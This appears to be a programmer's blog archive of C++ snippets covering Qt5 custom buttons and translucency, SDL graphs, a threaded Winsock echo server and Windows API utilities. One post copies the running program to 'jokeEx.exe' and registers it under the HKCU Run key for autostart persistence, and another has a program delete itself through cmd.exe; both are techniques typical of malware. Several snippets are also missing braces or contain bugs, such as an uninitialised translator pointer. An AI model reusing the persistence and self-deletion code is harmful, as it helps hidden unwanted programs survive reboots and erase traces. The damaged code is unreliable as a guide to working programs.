EthioProgrammer

How to create Custom push button in QT5

2013-06-08T10:58:00.002-07:00

To be honest this is not my work its an exact copy from this link.
http://mcmtechtips.blogspot.com/2012/03/shape-qpushbutton-in-your-own-style-qt.html

The only thing that i changed is the pictures, i created three png files

and included this image in the resource file, and the out put is

//custombutton.h
#ifndef CUSTOMBUTTON_H

#define CUSTOMBUTTON_H

#include <QObject>

#include <QPushButton>

#include <QPixmap>

#include <QBitmap>

class custombutton: public QPushButton

    Q_OBJECT

public:

    explicit custombutton(QObject *parent = 0);

private:

    const QString name;

    QSize imagesize;

};

#endif // CUSTOMBUTTON_H

//custombutton.cpp

#include "custombutton.h"

custombutton::custombutton(QObject *parent):
    QPushButton((QPushButton*)parent),
    name("://image/button1.png")
{
    QPixmap pixmap(name);
    imagesize = pixmap.size();
    this->setFixedSize(imagesize);
    this->setMask(pixmap.mask());
}

//dialog.h
#ifndef DIALOG_H
#define DIALOG_H

#include <QDialog>
#include "custombutton.h"


namespace Ui {
class Dialog;
}


class Dialog : public QDialog
{
    Q_OBJECT
    
public:
    explicit Dialog(QWidget *parent = 0);
    ~Dialog();
    
private:
    Ui::Dialog *ui;
     custombutton *bt;
};


#endif // DIALOG_H

//dialog.cpp

#include "dialog.h"
#include "ui_dialog.h"


Dialog::Dialog(QWidget *parent) :
    QDialog(parent),
    ui(new Ui::Dialog)
{
    ui->setupUi(this);
    bt = new custombutton(this);
    bt->setStyleSheet("QPushButton{border-image: url(://image/button1.png);}\n"
                      "QPushButton:hover{border-image: url(://image/button1_mhover.png);}\n"
                      "QPushButton:pressed{border-image: url(://image/button1_pressed1.png);}");
    bt->setText("ok");
}


Dialog::~Dialog()
{
    delete ui;
}

//main.cpp

#include "dialog.h"
#include <QApplication>


int main(int argc, char *argv[])
{
    QApplication a(argc, argv);
    Dialog w;
    w.show();
    
    return a.exec();
}

Qt5: how to design a translucent GUI using an image file

2013-05-04T17:47:00.001-07:00

designed a translucent background image on GIMP, loaded the png file on qresource and using some Qt attributes was able to make the original window transparent,
the output result looks like this

//main.cpp
#include "dialog.h"

#include <QApplication>

int main(int argc, char *argv[])

    QApplication a(argc, argv);

    Dialog w;

    w.show();

    return a.exec();

//dialog.h
#ifndef DIALOG_H

#define DIALOG_H

#include <QDialog>

#include <QMediaPlayer>

#include <QPainter>

namespace Ui {

class Dialog;

class Dialog : public QDialog

    Q_OBJECT

public:

    explicit Dialog(QWidget *parent = 0);

    ~Dialog();

protected:

    void paintEvent(QPaintEvent *);

private:

    Ui::Dialog *ui;

    QMediaPlayer *player;

};

#endif // DIALOG_H

//dialog.cpp
#include "dialog.h"

#include "ui_dialog.h"

Dialog::Dialog(QWidget *parent) :

    QDialog(parent, Qt::FramelessWindowHint),

    ui(new Ui::Dialog)

    ui->setupUi(this);

    setAttribute(Qt::WA_TranslucentBackground);

    player = new QMediaPlayer(this);

    player->setMedia(QUrl::fromLocalFile("joke.flv"));

    player->setVolume(50);

    player->play();

Dialog::~Dialog()

    delete ui;

void Dialog::paintEvent(QPaintEvent *)

    QPainter painter(this);

    painter.drawImage(QRectF(0, 0, 400, 400), QImage(":/img.png"));

//player.pro

QT       += core gui multimedia
greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

TARGET = player
TEMPLATE = app
SOURCES += main.cpp\
        dialog.cpp
HEADERS  += dialog.h
FORMS    += dialog.ui
RESOURCES += \
    images.qrc

Qt 5 code showing how to use Linguist and how to install user defined font

2013-05-04T17:03:00.000-07:00

using QFontdatabase and QFont we can use font that is not install on our system on a Qt5 application, we simply load the font using QFile and add it font database.

//linguistic.pro
QT += core gui

greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

TRANSLATIONS = amharic_ln.ts

TARGET = linguistic

TEMPLATE = app

SOURCES += main.cpp\

        dialog.cpp

HEADERS  += dialog.h

FORMS    += dialog.ui

CODECFORTR = UTF-8

//main.cpp
#include "dialog.h"

#include <QApplication>

#include <QTranslator>

#include <QFont>

#include <QFontDatabase>

#include <QFile>

#include <QDebug>

int main(int argc, char *argv[])

    QApplication a(argc, argv);

    QFile res("C:/Documents and Settings/user/My Documents/Qt Projects/linguistic/gfzemen.ttf");

    res.open(QIODevice::ReadOnly);

    QFontDatabase fdata;

    fdata.addApplicationFontFromData(res.readAll());

    Dialog w;

    QFont f("GF Zemen Unicode");

    f.setPointSize(12);

    w.setFont(f);

    w.show();

    return a.exec();

//dialog.h

#ifndef DIALOG_H
#define DIALOG_H

 
#include <QDialog>
#include <QTranslator>
#include <QDebug>
#include <QDir>

namespace Ui {
class Dialog;
}

class Dialog : public QDialog
{
    Q_OBJECT
    
public:
    explicit Dialog(QWidget *parent = 0);
    ~Dialog();
    
private:
    Ui::Dialog *ui;
    QApplication *tapp;
    QTranslator translate;
    QString file;
};

#endif // DIALOG_H

//dialog.cpp

#include "dialog.h"
#include "ui_dialog.h"

Dialog::Dialog(QWidget *parent):  QDialog(parent), ui(new Ui::Dialog)
{
    translate.load("C:/Documents and Settings/user/My Documents/Qt Projects/linguistic/amharic_ln.qm");
    tapp->installTranslator(&translate);

    ui->setupUi(this);
}

Dialog::~Dialog()
{
    delete ui;
}

Applying transparency using win32 api, C++/SDL code

2012-12-08T09:32:00.002-08:00

Well , lets use the win32 api - SetLayeredWindowAttributes()

#define _WIN32_WINNT 0x0500
#define WINVER 0x0500

#include <windows.h>
#include <SDL/SDL.h>
#include <SDL/SDL_syswm.h>
#include <SDL/SDL_ttf.h>
#include <SDL/SDL_image.h>
#include <iostream>
#include <string>
#include <sstream>

using namespace std;

SDL_Surface *loadimg(string filename);

int main(int argc, char* argv[])
{
    SDL_Init(SDL_INIT_EVERYTHING);
    TTF_Init();
    TTF_Font *font = TTF_OpenFont("fonts/AlphaMaleModern.ttf", 40);
    SDL_Surface *screen, *text, *img;

    screen = SDL_SetVideoMode(400, 300, 32, SDL_SWSURFACE);
    img = loadimg("images/op.png");
    SDL_SetAlpha(img, SDL_SRCALPHA, 129);

    bool running = true;
    SDL_Event events;
    Uint32 start;
    HWND hwnd;

    //transparency starts here
    SDL_SysWMinfo info;
    SDL_VERSION(&info.version);
    if(SDL_GetWMInfo(&info))
    {
        hwnd = info.window;
    }
    SetWindowLong(hwnd, GWL_EXSTYLE, GetWindowLong(hwnd, GWL_EXSTYLE) |WS_EX_LAYERED);
    SetLayeredWindowAttributes(hwnd, RGB(0,0,0), (255 * 70)/100, LWA_COLORKEY);

    Uint32 color = SDL_MapRGB(screen->format, 0x00, 0x00, 0x00);
    SDL_Color color2 = {0xff, 0xff, 0xff};

    stringstream ss;
    SDL_Rect box;
    box.x = 150;
    box.y = 130;

    SDL_Rect imgbox;
    imgbox.h = 100;
    imgbox.w = 200;
    imgbox.x = 100;
    imgbox.y = 100;

    while(running)
    {
        start = SDL_GetTicks();
        while(SDL_PollEvent(&events))
        {
            switch(events.type)
            {
                case SDL_QUIT:
                    running = false;
                    break;
            }
        }
        ss.str(" ");
        ss << "hello";
        text = TTF_RenderText_Solid(font, ss.str().c_str(), color2);

        SDL_FillRect(screen, &screen->clip_rect, color);

        SDL_BlitSurface(img, NULL, screen, &imgbox);
        //SDL_BlitSurface(text, NULL, screen, &box);
        SDL_Flip(screen);
        //frame regulation
        if(1000/30 > SDL_GetTicks() - start)
            SDL_Delay(1000/30 - (SDL_GetTicks() - start));
    }
    SDL_FreeSurface(text);
    TTF_Quit();
    SDL_Quit();
    return 0;
}

SDL_Surface *loadimg(string filename)
{
    SDL_Surface *tmp = NULL;
    SDL_Surface *opt = NULL;
    tmp = IMG_Load(filename.c_str());
    if(tmp != NULL)
    {
        SDL_SetAlpha(tmp, SDL_SRCALPHA, 129);
        opt = SDL_DisplayFormat(tmp);
        SDL_FreeSurface(tmp);
    }

    return opt;
}

Real time graph using SDL/C++

2012-10-27T18:20:00.002-07:00

#include <iostream>
#include <windows.h>
#include <deque>
#include <SDL/SDL.h>
#include <SDL_draw.h>
#include <cmath>

using namespace std;

MEMORYSTATUS mem();
void Collect_Data(deque<int> *d);
void PutPixel(SDL_Surface* screen, int x, int y);
void DrawPixels(deque<int> *d, SDL_Surface* screen, Uint32 color1);
void DrawLines(SDL_Surface* screen, double x0, double y0, double x1, double y1);

int main(int argc, char* argv[])
{
    SDL_Surface* screen = SDL_SetVideoMode(400, 300, 32, SDL_SWSURFACE);
    bool running = true;
    SDL_Event events;
    Uint32 start;
    Uint32 color0 = SDL_MapRGB(screen->format, 0x00, 0x00, 0x00);
    Uint32 color1 = SDL_MapRGB(screen->format, 0xff, 0xf0, 0x0f);

    deque<int> d;
    d.assign(200, -1);
    deque<int>::iterator it;
    MEMORYSTATUS m = mem();

    while(running)
    {
        start = SDL_GetTicks();
        while(SDL_PollEvent(&events))
        {
            switch(events.type)
            {
                case SDL_QUIT:
                    running = false;
                    break;
            }
        }
        //logic
        Collect_Data(&d);
        SDL_FillRect(screen, &screen->clip_rect, color0);
        DrawPixels(&d, screen, color1);
        SDL_Delay(400);
        //rendering
        SDL_Flip(screen);

        //frame regulation
        if(1000/30 > SDL_GetTicks() - start)
            SDL_Delay(1000/30 - (SDL_GetTicks() - start));
    }
    SDL_Quit();
    return 0;
}

MEMORYSTATUS mem()
{
    MEMORYSTATUS m;
    m.dwLength = sizeof(m);
    return m;
}

void Collect_Data(deque<int> *d)
{
    MEMORYSTATUS use = mem();
    GlobalMemoryStatus(&use);
    if(d->size() < 0)
    {
        d->push_back(use.dwMemoryLoad);
    }
    else
    {
        d->pop_front();
        d->push_back(use.dwMemoryLoad);
    }

}

void PutPixel(SDL_Surface* screen, int x, int y)
{
    Uint32* pexil = (Uint32*) screen->pixels;
    Uint32* p = pexil + y*screen->pitch/4 + x;
    *p = SDL_MapRGB(screen->format, 0xff, 0xff, 0xff);
}

void DrawPixels(deque<int> *d, SDL_Surface* screen, Uint32 color1)
{
    deque<int>::iterator it;
    int i;

    for(it = d->begin(), i = 100; it < d->end(); i++, it++)
    {
        if(*it != -1)
           PutPixel(screen, i, 250 -(*it));
    }
}

void DrawLines(SDL_Surface* screen, double x0, double y0, double x1, double y1)
{
    double x = x1-x0;
    double y = y1-y0;
    double length = sqrt(x*x + y*y);
    double addx = x / length;
    double addy = y / length;

    x = x0;
    y = y0;

    for(double i = 0; i < length; i++)
    {
        PutPixel(screen, (int)x, (int)y);
        x+=addx;
        y+=addy;
    }
}

Draw a graph using SDL/C++

2012-10-27T18:02:00.001-07:00

Drawing a graph on an x, y plane... you can disregard the load image function, remember i am using the sdl_draw.h library, which is freely available on the sdl website, but you can also implement the draw line and draw pixel function yourself. This program is helpful in making a real time graph, just like the one you see on windows task manager under performance tab.

#include <iostream>
#include <string>
#include <deque>
#include <SDL/SDL.h>
#include <SDL/SDL_draw.h>
#include <SDL/SDL_image.h>
using namespace std;

void DrawGraph(SDL_Surface* screen, deque<int> *d);
SDL_Surface* load_image(string file);

int main(int argc, char* argv[])
{
    SDL_Init(SDL_INIT_EVERYTHING);
    SDL_Surface* screen, *bgimg;
    screen = SDL_SetVideoMode(400, 350, 32, SDL_SWSURFACE);
    bgimg = load_image("border.png");
    SDL_Event events;
    SDL_Rect box;
    box.x = 100;
    box.y = 150;
    box.h = 100;
    box.w = 205;
    Uint32 start;
    bool running = true;

    int value[] = {49, 68, 55, 66, 39, 40, 79, 23};
    deque<int> d(value, value + sizeof(value)/sizeof(int));
    deque<int>::iterator it;

    while(running)
    {
        start = SDL_GetTicks();
        while(SDL_PollEvent(&events))
        {
            switch(events.type)
            {
                case SDL_QUIT:
                    running = false;
                    break;
            }
        }
        //logic

        DrawGraph(screen, &d);
        SDL_BlitSurface(bgimg, NULL, screen, &box);
        //render
        SDL_Flip(screen);
        if(1000/30 > SDL_GetTicks() - start)
            SDL_Delay(1000/30 - (SDL_GetTicks() - start));
    }

    SDL_Quit();
    return 0;
}

void DrawGraph(SDL_Surface* screen, deque<int> *d)
{
    Uint32 color = SDL_MapRGB(screen->format, 0xff, 0xbc, 0x00);
    deque<int>::iterator it;
    int i;
    for(it = d->begin(), i = 150; it != d->end(); i+=5, it++)
    {
        if(it == d->begin())
            Draw_Pixel(screen, i, *it, color);
        else
            Draw_Line(screen, i-5,*(it -1), i, *it, color);
    }

}

SDL_Surface* load_image(string file)
{
    SDL_Surface* tmp=NULL;
    SDL_Surface* img=NULL;

    img = IMG_Load(file.c_str());
    if(img != NULL)
    {
        tmp = SDL_DisplayFormat(img);
        SDL_FreeSurface(img);
    }
    return tmp;
}

"UINT64_C was not declared in this scope" issue on Code::Blocks fix

2012-09-28T19:32:00.000-07:00

To fix the problem include the macro definition INT64_C(c) (c ## LL) and UINT64_C(c) (c ## ULL) before including the ffmgep library.

#include <iostream>

#ifndef INT64_C
#define INT64_C(c) (c ## LL)
#define UINT64_C(c) (c ## ULL)
#endif

extern "C"{
#include "libavcodec/avcodec.h"
#include "libavformat/avformat.h"
}

int main(int argc, char *argv[])
{
av_register_all();

return 0;
}

Draw a circle using SDL Pixel Manipulation using C++/SDL

2012-09-16T16:19:00.003-07:00

The function draw a circle and a second counting arrow and redraw the circle every second, the parameter time hast to initialized outside the while loop.

void putpixel(SDL_Surface* screen, int x, int y)
{
    Uint32 *pixel = (Uint32*)screen->pixels;
    Uint32 *p = pixel + y*screen->pitch/4 + x;
    *p = SDL_MapRGB(screen->format, 0x00, 0x64,0x00);
}

void DrawCircle(SDL_Surface* screen, float time)
{
    for(int i = 0; i<=360; i++)
    {
        putpixel(screen, (200 + (100*cos(i))), (100 + (100*sin(i))));
    }
    for(int j = 0; j<=100; j++)
    {
        putpixel(screen, (200 + (j*cos(time))), (100 + (j*sin(time))));
    }
    Sleep(1000);
}

Collision Function for SDL/C++

2012-09-16T16:15:00.001-07:00

The boolian function that detects a collision between two SDL_RECT's and returns a bool.

bool collision(SDL_Rect a, SDL_Rect b)
{
    if((a.y + a.h) <= b.y)
        return false;
    if((a.x + a.w) <= b.x)
        return false;
    if(a.x >= (b.x + b.w))
        return false;
    if(a.y >= (b.y + b.h))
        return false;

    return true;
}

Creating a Progress Bar in SDL and C++

2012-09-16T11:14:00.003-07:00

Progress Bar

#include "sdl/sdl.h"
#include "sdl/sdl_image.h"
#include "SDL/SDL_ttf.h"
#include "sdl/sdl_mixer.h"
#include <iostream>
#include <sstream>
#include <string>
#include <sstream>
#include <windows.h>

using namespace std;
void putpixel(SDL_Surface* screen, int x, int y);
int MemFun();
void DrawBar(SDL_Surface* screen, int xpos, int xposmax, int ypos, int yposmax, int value, int width, int hieght, SDL_Rect* box, SDL_Rect* bgbox, Uint32 color);

int main(int argc, char** args)
{
    SDL_Init(SDL_INIT_EVERYTHING);
    TTF_Init();
    TTF_Font *font = TTF_OpenFont("fonts/hacka.ttf", 12);
    SDL_Surface* screen, *text;
    screen = SDL_SetVideoMode(640, 480, 32, SDL_SWSURFACE);
    Uint32 color2 = SDL_MapRGB(screen->format, 0xbb, 0x99, 0x00);
    Uint32 color0 = SDL_MapRGB(screen->format, 0x00, 0x00, 0x00);
    SDL_Color color1 = {0xff, 0xff, 0xff};
    SDL_Event events;
    bool running = true;
    const int FPS = 20;
    Uint32 start;
    stringstream ss;
    SDL_Rect box;

    SDL_Rect bgbox;

    SDL_Rect valBox;
    valBox.x = 300;
    valBox.y = 210;

    while(running)
    {
        start = SDL_GetTicks();
        while(SDL_PollEvent(&events))
        {
            switch(events.type)
            {
                case SDL_QUIT:
                    running = false;
                    break;
            }
        }
    ss.str(" ");
    ss << MemFun();
    text = TTF_RenderText_Solid(font, ss.str().c_str(), color1);

    SDL_FillRect(screen, &screen->clip_rect, color0);
    DrawBar(screen, 300, 315, 200, 200, MemFun(), 10, 100, &box, &bgbox, color2);

    SDL_BlitSurface(text, NULL, screen, &valBox);

    SDL_Flip(screen);
    if(1000/FPS > SDL_GetTicks() - start)
       SDL_Delay(1000/FPS - (SDL_GetTicks() - start));

    }

    SDL_FreeSurface(text);
    SDL_Quit();
    TTF_Quit();
    return 0;
}

void putpixel(SDL_Surface* screen, int x, int y)
{
    Uint32 *pixel = (Uint32*)screen->pixels;
    Uint32* p = pixel + y*screen->pitch/4 + x;
    *p = SDL_MapRGB(screen->format, 0xff, 0xaa,0x00);
}

int MemFun()
{
    MEMORYSTATUS mem;
    mem.dwLength = sizeof(mem);
    GlobalMemoryStatus(&mem);
    return mem.dwMemoryLoad;
}

void DrawBar(SDL_Surface* screen, int xpos, int xposmax, int ypos, int yposmax, int value, int width, int hieght, SDL_Rect* box, SDL_Rect* bgbox, Uint32 color)
{
    box->x = xpos;
    box->y = ypos;
    box->w = width;
    box->h = hieght;

    bgbox->x = xpos - 3;
    bgbox->y = ypos - 99;
    bgbox->w = width + 11;
    bgbox->h = hieght;

    SDL_FillRect(screen, bgbox, color);
    for(int i = ypos; i>= (yposmax - value); i--)
    {
        for(int j= xpos; j<xposmax; j++)
        {
            putpixel(screen, j, i);
        }

    }
}

MultiThreaded server in c++ and win32 api

2012-04-29T16:54:00.002-07:00

A very simple server that's show how to apply the windows CreateThread function, follows the normal procedure in creating a server, 

Initialization of the DLL
create socket
bind the socket
listen for an incoming connection

But the only change was that once its within the while loop, continuously accept incoming connection, then create a thread for the every connection it makes.

The CreateThread takes 6 arguments, but assigned only the function you want to run within that thread, argument of that function, and one optional argument i added for the thread id.

recvNsend - Function i want to run with in the thread
(LPVOID)clntSocket - parameter it takes in, that is the accecpted client, 

The function has to be separately implemented and it always takes LPVOID paramenter, VOID POINTER, i believe. And can be casted when used. 

#define _WIN32_WINNT 0x501

#ifndef WIN32_LEAN_AND_MEAN

#define WIN32_LEAN_AND_MEAN

#endif

#include <windows.h>

#include <iostream>

#include <winsock2.h>

#include <ws2tcpip.h>

#include <iphlpapi.h>

#pragma comment(lib, "ws2_32.lib")

#define PORT "4444"

#define BUFFER 1024

using namespace std;

DWORD WINAPI recvNsend(LPVOID lpParam);

struct addrinfo *result, *ptr, hints;

SOCKET servSocket;

SOCKET clntSocket;

void callWsDll()

{

    WSADATA wsadata;

    int iResult;

    iResult = WSAStartup(MAKEWORD(2,2), &wsadata);

    if(iResult != 0)

    {

        cout << "WSAStartup or Calling the socket DLL fail" << endl;

    }

}

int createNconnect()

{

    int iResult;

    DWORD thread;

    ZeroMemory(&hints, sizeof(hints));

    hints.ai_family   = AF_UNSPEC;

    hints.ai_socktype = SOCK_STREAM;

    hints.ai_protocol = IPPROTO_TCP;

    hints.ai_flags    = AI_PASSIVE;

    iResult = getaddrinfo(NULL, PORT, &hints, &result);

    if(iResult != 0)

    {

        cout << "getaddrinfo failed " << endl;

        WSACleanup();

    }

    ptr = result;

    servSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);

    if(servSocket == INVALID_SOCKET)

    {

        cout << "socket creation failed " << WSAGetLastError() << endl;

        freeaddrinfo(result);

        WSACleanup();

        return 1;

    }

    iResult = bind(servSocket, ptr->ai_addr, ptr->ai_addrlen);

    if(iResult == SOCKET_ERROR)

    {

        cout << "socket binding failed " << WSAGetLastError() << endl;

        freeaddrinfo(result);

        WSACleanup();

        return 1;

    }

    freeaddrinfo(ptr);

    freeaddrinfo(result);

    iResult = listen(servSocket, SOMAXCONN);

    if(iResult == SOCKET_ERROR)

    {

        cout << "listening failed " << WSAGetLastError() << endl;

        closesocket(servSocket);

        WSACleanup();

        return 1;

    }

    while(true)

    {

        clntSocket = accept(servSocket, NULL, NULL);

        if(clntSocket == INVALID_SOCKET)

        {

            cout << "accepting clients failed " << WSAGetLastError() <<endl;

            closesocket(servSocket);

            WSACleanup();

            return 1;

        }

        CreateThread(NULL, 0, recvNsend, (LPVOID)clntSocket, 0, &thread);

        cout << thread << endl;

    }

    closesocket(servSocket);

    return iResult;

}

DWORD WINAPI recvNsend(LPVOID lpParam)

{

   int iResult;

   int iSresult;

   char rcvbuffer[BUFFER];

   SOCKET rsclientSocket = (SOCKET)lpParam;

   do{

       iResult = recv(rsclientSocket, rcvbuffer, BUFFER, 0);

       if(iResult > 0)

       {

           cout << "Bytes recieved " << iResult << endl;

           iSresult = send(rsclientSocket, rcvbuffer, iResult, 0);

           if(iSresult == SOCKET_ERROR)

           {

               cout << "send failed" << WSAGetLastError() << endl;

               closesocket(rsclientSocket);

               WSACleanup();

               return 1;

           }

           cout << "Bytes sent " << iSresult << endl;

       }

       else if(iResult == 0)

       {

           cout << "Connection closed ...." << endl;

       }

       else

       {

           cout << "Recieving message failed " << WSAGetLastError() << endl;

           closesocket(rsclientSocket);

           WSACleanup();

           return 1;

       }

   }while(iResult > 0);

   return 0;

}

int shutdownSocket(SOCKET &anysock)

{

    int iResult;

    iResult = shutdown(anysock, SD_SEND);

    if(iResult == SOCKET_ERROR)

    {

        cout << "shutdown failed" << WSAGetLastError() << endl;

        closesocket(anysock);

        WSACleanup();

        return 1;

    }

    closesocket(anysock);

    WSACleanup();

    return 0;

}

Using thread on windows

2012-04-27T12:50:00.003-07:00

#include <iostream>

#include <string>

#include <windows.h>

using namespace std;

#define BUFFER MAX_PATH

DWORD WINAPI function1(LPVOID lpParam);

void function2();

int main()

{

   HANDLE hthread;

   DWORD dwthreadID = 0;

   cout << "Entered the main function" << endl;

   hthread = CreateThread(NULL, 0, function1, NULL, 0, &dwthreadID);

   function2();

   return 0;

}

DWORD WINAPI function1(LPVOID lpParam)

{

      double val = 1000000;

   for(double v = 0; v < val; v++)

   {

       double num = v * 55;

       cout << "Thread-1:" << "  " << num << endl;

       Sleep(2000);

       cout << " " << endl;

   }

   return 0;

}

void function2()

{

      double val = 2000000;

   for(double v = 0; v < val; v++)

   {

       double num = v * 1;

       cout << "Thread-2:" << "  " << num << endl;

       Sleep(500);

       cout << " " << endl;

   }

}

Register a file

2012-04-27T12:48:00.000-07:00

#include <iostream>

#include <windows.h>

#include <conio.h>

#pragma comment(lib, "user32.lib")

using namespace std;

#define BUFFER 32750

void getValues();

void filesApp();

int main()

{

    filesApp();

    getValues();

    getch();

    return 0;

}

void getValues()

{

    char lpbuffer[BUFFER];

    DWORD lpnsize = BUFFER;

    SYSTEM_INFO sysinfo;

    GetComputerName(lpbuffer, &lpnsize);

    GetSystemInfo(&sysinfo);

    cout << "Name:"<< " " << lpbuffer << endl;

    cout << "Number of processors:"<< " " << sysinfo.dwNumberOfProcessors<< endl;

    cout << "Maxmum app address:"<< " " << sysinfo.lpMaximumApplicationAddress << endl;

    //getchar();

}

void filesApp()

{

    char spath[MAX_PATH];

    char lpbuffer[MAX_PATH];

    GetModuleFileName(NULL, spath, MAX_PATH);

    GetWindowsDirectory(lpbuffer, MAX_PATH);

    cout << spath << endl;

    cout << lpbuffer << endl;

    char newfile[] = "C:\\Documents and Settings\\user\\Desktop\\dir\\jokeEx.exe";

    CopyFile(spath, newfile, false);

    LPCTSTR subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

    HKEY hkey;

    string progName = newfile;

    int proglen = progName.size() + 1;

    long key = RegOpenKeyEx(HKEY_CURRENT_USER,

                             subkey,

                             0,

                             KEY_READ | KEY_WRITE,

                             &hkey  );

    if(key == ERROR_SUCCESS)

    {

        long qkey = RegQueryValueEx(hkey,

                                    "jokeEx",

                                    NULL,

                                    NULL,

                                    NULL,

                                    NULL);

         if(qkey == ERROR_FILE_NOT_FOUND)

         {

             long skey = RegSetValueEx(hkey,

                                       "jokeEx",

                                       0,

                                       REG_SZ,

                              (const BYTE*)progName.c_str(),

                                       proglen);

         }

         else

         {

             cout << "file exists" << endl;

          }

    }

    cout << "---------------------" << endl;

}

Delete itself after execution (C++ and WIN32 API's)

2012-04-22T18:39:00.002-07:00

#include <windows.h>
#include <iostream>
#include <string>

using namespace std;

void DeleteMe();

int main(int arg, char **argv)
{
    cout << "THIS PROGRAM WILL KILL ITSELF" << endl;
    Sleep(5000);

    DeleteMe();
    return 0;
}

void DeleteMe()
{
    STARTUPINFO sj;
    PROCESS_INFORMATION pj;

    ZeroMemory( &sj, sizeof(sj) );
    sj.cb = sizeof(sj);
    ZeroMemory( &pj, sizeof(pj) );

    if(!CreateProcess("C:\\Windows\\system32\\cmd.exe", "/k del C:\\\"Documents and Settings\"\\user\\Desktop\\removePro.exe", NULL, NULL, FALSE, 0, NULL, NULL, &sj, &pj))
    {
        cout << "process creation failed " << endl;
    }
}

List all the processes running on your system using win32 API

2012-04-21T09:35:00.002-07:00

Make sure to link the libpsapi.a library if you are using code blocks

This program uses the following windows API functions and structures

CreateToolhelp32Snapshot
GetProcessMemoryInfo
Process32First
Process32Next
PROCESSENTRY32
PROCESS_MEMORY_COUNTERS

The program list all the running processes including the PID and mem allocated for each process.

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <Psapi.h>

using namespace std;

void listAllRunningProcess();

int main()
{
    listAllRunningProcess();
    return 0;
}
void listAllRunningProcess()
{
    PROCESSENTRY32 pe32;
    PROCESS_MEMORY_COUNTERS pmc;
    HANDLE hprocess;

    hprocess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    GetProcessMemoryInfo(hprocess, &pmc, sizeof(pmc));

    Process32First(hprocess, &pe32);
    pe32.dwSize = sizeof(PROCESSENTRY32);

    while(Process32Next(hprocess, &pe32))
    {
        cout << pe32.szExeFile << "------>"<< pe32.th32ProcessID<<"---->>"<< pe32.th32ParentProcessID;
        cout <<"----------->"<< pmc.PeakWorkingSetSize<< endl;
    }
}